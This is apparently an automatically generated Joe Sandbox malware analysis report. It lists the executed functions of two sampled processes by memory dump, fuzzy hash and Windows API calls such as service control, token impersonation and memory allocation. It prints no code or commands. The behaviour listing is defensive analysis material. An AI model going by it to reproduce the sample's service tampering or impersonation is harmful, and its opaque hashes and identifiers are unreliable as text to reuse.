Associated: 00000004.00000002.2198301393.0000000000EBB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2198335233.0000000000ED8000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2198366175.0000000000EDB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2198398557.0000000000EDC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2198427783.0000000000EE0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2198456038.0000000000EE8000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2198484583.0000000000EE9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2198511051.0000000000EEA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2198537703.0000000000EED000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2198565943.0000000000EF4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2198597387.0000000000EF6000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2198625503.0000000000EF7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2198654152.0000000000EFA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2198681714.0000000000F02000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2198708822.0000000000F05000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2198735292.0000000000F06000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2198770858.0000000000F0E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2198798775.0000000000F16000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2198825173.0000000000F17000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2198871522.0000000000F6E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2198871522.0000000000F76000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2198926872.0000000000F84000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2198952837.0000000000F86000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_cd0000_NSXWT8JG74T0IR99MSITIVFVWS7V.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: b1e8114760e931ba3298b69cfb804eeae95d885eb843d59f0b6b26571dd7c0f1
Instruction ID: 2ebfa14b36051b52535f906cdd64a4654b048f654b353f63a741a08706cd84e7
Opcode Fuzzy Hash: b1e8114760e931ba3298b69cfb804eeae95d885eb843d59f0b6b26571dd7c0f1
Instruction Fuzzy Hash: 552166B314C2457DE7068F74AD51BBB3BA8DB82BA4F3899DAF440E7842D2565C059230

Function 05310D42 Relevance: 1.6, APIs: 1, Instructions: 61
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenSCManagerW.SECHOST(00000000,00000000,?), ref: 05310DCD

Memory Dump Source

Source File: 00000004.00000002.2201229384.0000000005310000.00000040.00000800.00020000.00000000.sdmp, Offset: 05310000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_5310000_NSXWT8JG74T0IR99MSITIVFVWS7V.jbxd

Similarity

API ID: ManagerOpen
String ID:
API String ID: 1889721586-0
Opcode ID: 1ea8ea9b2ecff6ef4251905e118331a1d01de25b1cc63761b5f0ce7559de33e9
Instruction ID: 369693b3dfce23b2364f51fc292d9181756c2362f0ee896cdaa95a84d08f2e38
Opcode Fuzzy Hash: 1ea8ea9b2ecff6ef4251905e118331a1d01de25b1cc63761b5f0ce7559de33e9
Instruction Fuzzy Hash: 142138B6C00218DFCB14DFA9D885BDEFBF4FB88320F14855AD808AB204D774A540CBA4

Function 05310D48 Relevance: 1.6, APIs: 1, Instructions: 59
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenSCManagerW.SECHOST(00000000,00000000,?), ref: 05310DCD

Memory Dump Source

Source File: 00000004.00000002.2201229384.0000000005310000.00000040.00000800.00020000.00000000.sdmp, Offset: 05310000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_5310000_NSXWT8JG74T0IR99MSITIVFVWS7V.jbxd

Similarity

API ID: ManagerOpen
String ID:
API String ID: 1889721586-0
Opcode ID: bba087b202d07b10e427ac3c415757ccd572cfef0148fa17d44e81c7cfb0f2c3
Instruction ID: ead5ff68b6dc80b336f9b5ec99331ba0f34f8ee6edaf54bec22d1cb15fa3f52d
Opcode Fuzzy Hash: bba087b202d07b10e427ac3c415757ccd572cfef0148fa17d44e81c7cfb0f2c3
Instruction Fuzzy Hash: 652115B6C01258DFCB54CFA9D884ADEFBF4FB88320F14855AD809AB204D774A580CBA4

Function 05311510 Relevance: 1.6, APIs: 1, Instructions: 54
serviceCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ControlService.ADVAPI32(?,?,?), ref: 05311580

Memory Dump Source

Source File: 00000004.00000002.2201229384.0000000005310000.00000040.00000800.00020000.00000000.sdmp, Offset: 05310000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_5310000_NSXWT8JG74T0IR99MSITIVFVWS7V.jbxd

Similarity

API ID: ControlService
String ID:
API String ID: 253159669-0
Opcode ID: 8546e6a9993393d8d1feaad32852ba9d17b87e5374326448397d1340975adeea
Instruction ID: 13ec071981fc75b97fef010a3fcce38dcee99abcfacf6bc7ae88aa84ecb42828
Opcode Fuzzy Hash: 8546e6a9993393d8d1feaad32852ba9d17b87e5374326448397d1340975adeea
Instruction Fuzzy Hash: 6111E4B5900249DFDB10CFAAC584BDEFBF4FB48320F108029E959A7250D378A644CFA5

Function 05311509 Relevance: 1.6, APIs: 1, Instructions: 54
serviceCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ControlService.ADVAPI32(?,?,?), ref: 05311580

Memory Dump Source

Source File: 00000004.00000002.2201229384.0000000005310000.00000040.00000800.00020000.00000000.sdmp, Offset: 05310000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_5310000_NSXWT8JG74T0IR99MSITIVFVWS7V.jbxd

Similarity

API ID: ControlService
String ID:
API String ID: 253159669-0
Opcode ID: cca9d36a2b7b5cd0237b8175cd9152f63d2f3de63f5e4d435a0768f706b629e0
Instruction ID: 1852378473535a79b3fc8bd2abd6e9d5f5178de72219802564d8150c3b0e4d52
Opcode Fuzzy Hash: cca9d36a2b7b5cd0237b8175cd9152f63d2f3de63f5e4d435a0768f706b629e0
Instruction Fuzzy Hash: 422117B5D00249CFDB10CF9AC545BDEFBF4BB48320F108429E559A7250D378A644CFA5

Function 05311301 Relevance: 1.5, APIs: 1, Instructions: 49
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ImpersonateLoggedOnUser.KERNELBASE ref: 05311367

Memory Dump Source

Source File: 00000004.00000002.2201229384.0000000005310000.00000040.00000800.00020000.00000000.sdmp, Offset: 05310000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_5310000_NSXWT8JG74T0IR99MSITIVFVWS7V.jbxd

Similarity

API ID: ImpersonateLoggedUser
String ID:
API String ID: 2216092060-0
Opcode ID: 54838f486c99f5d8a35a2ab59e423f6976c84d795da670dd08a8eb6ebf1511a9
Instruction ID: e323ec1bea4bc2c3327e9425026023ee8224dd9bfda0e2b961753ff1a2256d2d
Opcode Fuzzy Hash: 54838f486c99f5d8a35a2ab59e423f6976c84d795da670dd08a8eb6ebf1511a9
Instruction Fuzzy Hash: 04113AB1900249CFDB10CF9AD445BDEFBF4EF48324F248429D558A3250D778A544CFA5

Function 05311308 Relevance: 1.5, APIs: 1, Instructions: 47
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ImpersonateLoggedOnUser.KERNELBASE ref: 05311367

Memory Dump Source

Source File: 00000004.00000002.2201229384.0000000005310000.00000040.00000800.00020000.00000000.sdmp, Offset: 05310000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_5310000_NSXWT8JG74T0IR99MSITIVFVWS7V.jbxd

Similarity

API ID: ImpersonateLoggedUser
String ID:
API String ID: 2216092060-0
Opcode ID: 6a81dc66a80bc980dc8826921bbc9187b4298df8e1196ff08c5356f0d874eccb
Instruction ID: 61d2c9d4b2c8f4cb27fed331c82482b4b8f388d9dad35184c4da29e580b3493f
Opcode Fuzzy Hash: 6a81dc66a80bc980dc8826921bbc9187b4298df8e1196ff08c5356f0d874eccb
Instruction Fuzzy Hash: F01148B1900249CFDB10CFAAC444BDEFBF4EB48320F20842AD558A3250D778A584CFA5

Function 00E6AEC8 Relevance: 1.5, APIs: 1, Instructions: 34
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE ref: 00E706CE

Memory Dump Source

Source File: 00000004.00000002.2197699048.0000000000E66000.00000040.00000001.01000000.00000006.sdmp, Offset: 00CD0000, based on PE: true

Associated: 00000004.00000002.2197278597.0000000000CD0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2197308978.0000000000CD2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2197342461.0000000000CD6000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2197369604.0000000000CDA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2197402151.0000000000CE4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2197433301.0000000000CE5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2197460441.0000000000CE6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2197622959.0000000000E44000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2197651469.0000000000E46000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2197699048.0000000000E5B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2197782788.0000000000E71000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2197817698.0000000000E72000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2197884361.0000000000E73000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2197922201.0000000000E74000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2198019481.0000000000E7C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2198053438.0000000000E82000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2198090060.0000000000E98000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2198115897.0000000000E99000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2198147478.0000000000EA1000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2198180082.0000000000EA6000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2198209503.0000000000EA7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2198236112.0000000000EAD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2198269467.0000000000EB8000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2198301393.0000000000EBB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2198335233.0000000000ED8000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2198366175.0000000000EDB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2198398557.0000000000EDC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2198427783.0000000000EE0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2198456038.0000000000EE8000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2198484583.0000000000EE9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2198511051.0000000000EEA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2198537703.0000000000EED000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2198565943.0000000000EF4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2198597387.0000000000EF6000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2198625503.0000000000EF7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2198654152.0000000000EFA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2198681714.0000000000F02000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2198708822.0000000000F05000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2198735292.0000000000F06000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2198770858.0000000000F0E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2198798775.0000000000F16000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2198825173.0000000000F17000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2198871522.0000000000F6E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2198871522.0000000000F76000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2198926872.0000000000F84000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2198952837.0000000000F86000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_cd0000_NSXWT8JG74T0IR99MSITIVFVWS7V.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: afe5ce8c237e1e9b70d5e5bfee3b74120867873633b6cdf35aa43dbb07e6ac6f
Instruction ID: 8b26a70b06e35fdb37a331518cd3fe32a5938f921f4f1086915b24a2e2e2f90b
Opcode Fuzzy Hash: afe5ce8c237e1e9b70d5e5bfee3b74120867873633b6cdf35aa43dbb07e6ac6f
Instruction Fuzzy Hash: 40F049B110C601DFD705BF28E4952BEBBE0EF48300F118D2DCAC697600EB3068A09B8B

Function 00CDE5D3 Relevance: 1.3, APIs: 1, Instructions: 16
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000), ref: 00CDF0CC

Memory Dump Source

Source File: 00000004.00000002.2197369604.0000000000CDA000.00000040.00000001.01000000.00000006.sdmp, Offset: 00CD0000, based on PE: true

Associated: 00000004.00000002.2197278597.0000000000CD0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2197308978.0000000000CD2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2197342461.0000000000CD6000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2197402151.0000000000CE4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2197433301.0000000000CE5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2197460441.0000000000CE6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2197622959.0000000000E44000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2197651469.0000000000E46000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2197699048.0000000000E5B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2197699048.0000000000E66000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2197782788.0000000000E71000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2197817698.0000000000E72000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2197884361.0000000000E73000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2197922201.0000000000E74000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2198019481.0000000000E7C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2198053438.0000000000E82000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2198090060.0000000000E98000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2198115897.0000000000E99000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2198147478.0000000000EA1000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2198180082.0000000000EA6000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2198209503.0000000000EA7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2198236112.0000000000EAD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2198269467.0000000000EB8000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2198301393.0000000000EBB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2198335233.0000000000ED8000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2198366175.0000000000EDB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2198398557.0000000000EDC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2198427783.0000000000EE0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2198456038.0000000000EE8000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2198484583.0000000000EE9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2198511051.0000000000EEA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2198537703.0000000000EED000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2198565943.0000000000EF4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2198597387.0000000000EF6000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2198625503.0000000000EF7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2198654152.0000000000EFA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2198681714.0000000000F02000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2198708822.0000000000F05000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2198735292.0000000000F06000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2198770858.0000000000F0E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2198798775.0000000000F16000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2198825173.0000000000F17000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2198871522.0000000000F6E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2198871522.0000000000F76000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2198926872.0000000000F84000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2198952837.0000000000F86000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_cd0000_NSXWT8JG74T0IR99MSITIVFVWS7V.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: f222512314510bd9ed86d7608f881bdd68ebc4dc71d8cd3d41c4fb03ddf477e0
Instruction ID: c726147d3c97a09573e699d3b6d52994707b88c56ec869864556abb034bbb172
Opcode Fuzzy Hash: f222512314510bd9ed86d7608f881bdd68ebc4dc71d8cd3d41c4fb03ddf477e0
Instruction Fuzzy Hash: BDD0173510CA0A8FDB042F34944E6BE3BB0EF15321F24072EEA92DAAD4DA364C50DA19

Function 00CDE69B Relevance: 1.3, APIs: 1, Instructions: 5
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000), ref: 00CDE69D

Memory Dump Source

Source File: 00000004.00000002.2197369604.0000000000CDA000.00000040.00000001.01000000.00000006.sdmp, Offset: 00CD0000, based on PE: true

Associated: 00000004.00000002.2197278597.0000000000CD0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2197308978.0000000000CD2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2197342461.0000000000CD6000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2197402151.0000000000CE4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2197433301.0000000000CE5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2197460441.0000000000CE6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2197622959.0000000000E44000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2197651469.0000000000E46000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2197699048.0000000000E5B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2197699048.0000000000E66000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2197782788.0000000000E71000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2197817698.0000000000E72000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2197884361.0000000000E73000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2197922201.0000000000E74000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2198019481.0000000000E7C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2198053438.0000000000E82000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2198090060.0000000000E98000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2198115897.0000000000E99000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2198147478.0000000000EA1000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2198180082.0000000000EA6000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2198209503.0000000000EA7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2198236112.0000000000EAD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2198269467.0000000000EB8000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2198301393.0000000000EBB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2198335233.0000000000ED8000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2198366175.0000000000EDB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2198398557.0000000000EDC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2198427783.0000000000EE0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2198456038.0000000000EE8000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2198484583.0000000000EE9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2198511051.0000000000EEA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2198537703.0000000000EED000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2198565943.0000000000EF4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2198597387.0000000000EF6000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2198625503.0000000000EF7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2198654152.0000000000EFA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2198681714.0000000000F02000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2198708822.0000000000F05000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2198735292.0000000000F06000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2198770858.0000000000F0E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2198798775.0000000000F16000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2198825173.0000000000F17000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2198871522.0000000000F6E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2198871522.0000000000F76000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2198926872.0000000000F84000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2198952837.0000000000F86000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_cd0000_NSXWT8JG74T0IR99MSITIVFVWS7V.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: f2d196fbb4d627bc07e9b8b6058f81d809de1decdc03c616b6cc104b821c3ad6
Instruction ID: 9f4510f95517b7bc396d8ed713cb4fba0025ee5ecce4e325b31e898fbe7d8665
Opcode Fuzzy Hash: f2d196fbb4d627bc07e9b8b6058f81d809de1decdc03c616b6cc104b821c3ad6
Instruction Fuzzy Hash: 16B012B000810E8FEB009F6044067EF3531EB20B01F104005AE0164650D1228C10D534

Analysis Process: VG65QSLZVUGSLKDE78EZSIIG.exePID: 7976, Parent PID: 7304COMMON

Executed Functions

Function 05770A83 Relevance: 1.4, Strings: 1, Instructions: 109COMMON

Download Yara Rule

Strings

R, xrefs: 05770B54

Memory Dump Source

Source File: 00000005.00000002.2128852314.0000000005770000.00000040.00001000.00020000.00000000.sdmp, Offset: 05770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_5770000_VG65QSLZVUGSLKDE78EZSIIG.jbxd

Similarity

API ID:
String ID: R
API String ID: 0-1466425173
Opcode ID: 032e0fb98cebb3ba515cb75c39af580eb8b0bd7eb7867909f84d6c43c54b7b3b
Instruction ID: 1d3c2238ba01cf61f958ad7827f9299a4577888257ffad35f849cec0780ac4b2
Opcode Fuzzy Hash: 032e0fb98cebb3ba515cb75c39af580eb8b0bd7eb7867909f84d6c43c54b7b3b
Instruction Fuzzy Hash: CF2135E714D254AEAB02D1603E5CAFF6B6FE5C7734734806AF002C7152E2994B4A6632

Function 05770B33 Relevance: 1.3, Strings: 1, Instructions: 52COMMON

Download Yara Rule

Strings

R, xrefs: 05770B54

Memory Dump Source

Source File: 00000005.00000002.2128852314.0000000005770000.00000040.00001000.00020000.00000000.sdmp, Offset: 05770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_5770000_VG65QSLZVUGSLKDE78EZSIIG.jbxd

Similarity

API ID:
String ID: R
API String ID: 0-1466425173
Opcode ID: d3f19c70271aaf179bc3256c7910074318ab4be2c42f26a181db0c8a2867853b
Instruction ID: 057a5764cbe78d26f01e68ca6d15aaa56dee643510793a296d427e59a0317a5a
Opcode Fuzzy Hash: d3f19c70271aaf179bc3256c7910074318ab4be2c42f26a181db0c8a2867853b
Instruction Fuzzy Hash: 00F0F0B720D215AFAB11E5B17E1C5FF776EE8C2324334807FF002C2062E24A474A6632

Function 05770AC1 Relevance: .1, Instructions: 87COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2128852314.0000000005770000.00000040.00001000.00020000.00000000.sdmp, Offset: 05770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_5770000_VG65QSLZVUGSLKDE78EZSIIG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0fca318ad859a88d5f76759c7354c3a0d195bb2b7bfad1ab97b6b8dc344588b8
Instruction ID: 6e5a9780bceff89412dce2f9b8cea31bda6770c41001b213b83c8daeb4f82c4c
Opcode Fuzzy Hash: 0fca318ad859a88d5f76759c7354c3a0d195bb2b7bfad1ab97b6b8dc344588b8
Instruction Fuzzy Hash: 930169EB14D229BD6942D5917F189FA3A6FE6CB3347308426F407C6112E2984B8A3932

Function 05770ACA Relevance: .1, Instructions: 86COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2128852314.0000000005770000.00000040.00001000.00020000.00000000.sdmp, Offset: 05770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_5770000_VG65QSLZVUGSLKDE78EZSIIG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5b05792ca8241f7cac8225de4bd17a0bbe641582305e923d39c64fe995907855
Instruction ID: a4796426a9d45824fed0f087e3729faf189dbfc569721e1d46199ffc3b4fb30b
Opcode Fuzzy Hash: 5b05792ca8241f7cac8225de4bd17a0bbe641582305e923d39c64fe995907855
Instruction Fuzzy Hash: 7911A1D714C119BDAA42D5917F189FA3BAFE6CB3357308466F407C6112E2D94B4A3532

Function 05770AE4 Relevance: .1, Instructions: 80COMMON

Download Yara Rule

Memory Dump Source

